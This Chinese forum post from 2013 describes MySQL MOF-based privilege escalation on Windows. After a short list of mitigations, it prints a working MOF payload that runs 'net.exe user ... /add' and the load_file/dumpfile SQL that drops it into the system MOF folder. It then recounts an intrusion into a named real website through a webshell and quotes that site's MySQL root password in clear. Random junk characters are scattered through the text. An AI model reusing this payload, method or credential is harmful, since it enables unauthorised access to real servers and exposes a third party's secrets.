找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2232|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
, b- U% k8 E5 n' K4 R) N. i; \
" T: t% j5 C' U* ?4 Z网上公开的一些利用代码:
0 y7 C, Y$ U! o9 C7 Z, U. P6 N0 ~* L0 I: U' m
#pragma namespace(“\\\\.\\root\\subscription”)
: Q4 T& K1 Y8 p
$ t2 g+ Z) q" N% s( E1 c$ Jinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };6 u4 g* H1 P/ h* \3 p

; P( i6 d/ s! ?' ]% V% c1 L ) H2 j6 u# [- S* `# s: G. O0 B

% x/ n1 n( f; W$ I9 g  X
, l, ~% s$ _9 u# ?  k. J- P6 P% O& O0 K
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;* x$ Q3 ^# A% Z
从上面代码来看得出解决办法:0 U7 [$ v8 A9 h; \. N* n/ S0 D$ }% ^3 _

+ c' g1 z" Z2 J4 L0 a" g0 f2 }7 p1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数: H" l( N1 _4 m$ f6 V

& O' E. u) _; d" `2、禁止使用”WScript.Shel”组件* Y* H0 E( q; N
# j3 P4 V5 a. W: E* w
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER% q: S, B% \# Z2 K3 K0 ]

: z' f1 T0 H) y' `. U当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下) _. S2 ]1 U# I& C  b) r
# V( x& [0 ^" }% n
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
& r' _7 S+ p7 u% Q2 {% i/ z9 C3 ^, {% g1 y! _% ~/ u( X
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
4 r( ?# p0 p! X  N1 E2 r( c# g' U1 ^8 y  z2 `" G
看懂了后就开始练手吧
- x; b$ {% R7 c$ a8 d$ I; M0 m8 W
! e3 w( c7 G! Vhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
$ J: ~$ }$ t- k6 J
- @" h! X3 a! C' F* v$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
5 G2 U1 p( k1 T, ~( M" S6 k# b% C: n0 k1 ]0 g% U% u
于是直接用菜刀开搞
+ \6 ~  s. w6 b; i$ h, N) z5 B7 ^5 q' n. U
上马先/ G4 g6 O$ t. {) Q2 C# q. q# C, U

4 z" a9 J5 B0 }( W. Y+ q: B& M3 @4 k/ `既然有了那些账号 之类的 于是我们就执行吧…….% n' b6 B/ G  |

. u6 d1 G; Q# @0 h: T' o小小的说下' s* g0 y: S; [- v  o, p

( \5 N6 b8 v5 k) N9 `# h. l' s  B在这里第1次执行未成功        原因未知( ~* F4 f4 [7 l4 o8 A* r& J
, Y9 ^8 D8 q' X; T
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。" |1 `) `3 e! v( J) d7 L: w1 ^& g2 w
( m0 I% w# [4 V$ H
#pragma namespace(“\\\\.\\root\\subscription”)
4 [/ O4 h& l* H1 t; R! D
* t3 d9 ~" |, I+ n) binstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };  w% Q* \& `% T: E' i# T% S
+ T/ G8 c: _3 i) R# C; k4 |$ }0 ~
我是将文件放到C:\WINDOWS\temp\1.mof7 E  `# |$ Z) W% z2 M( ]9 A3 f9 C

  s! x2 ~/ o3 @& ?( |7 m. [; @所以我们就改下执行的代码6 B: \9 z! ^( O/ F# q8 c

- l* n' @, N; Q. }' Hselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
, `: n* g# `5 z+ g- i
& a4 J  u/ v1 ]# Q+ p7 w8 B- e/ Q' H( J% O; T- g0 Z7 D
$ I# ?0 Y% i( L
但是 你会发现账号还是没有躺在那里。。
+ T1 `) L4 i- g- u3 T3 k7 r# h! P' N. f! k- t
于是我就感觉蛋疼9 b! I9 L) W) E+ a7 a" }: J

& O9 Y  |! Y$ b4 {, R6 w+ |( R' G就去一个一个去执行 但是执行到第2个 mysql时就成功了………3 S) Q# q5 j! T* m% L- a
  `& q% F2 |" i, U! I9 Y
3 Q, ?9 y- @* x' o5 B

- y4 U8 T9 E; h/ h& r0 x) [但是其他库均不成功…( C6 ^; n6 t  G! `4 L

& ], I; t7 Y3 Z$ ~我就很费解呀 到底为什么不成功求大牛解答…. m2 `& o* h+ q& q5 q% q2 P- s+ K

  E# f6 F, }5 n( K& m) P, W3 e5 M& a# f+ Z6 q
) t, ?7 z- j/ I( H3 {' m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表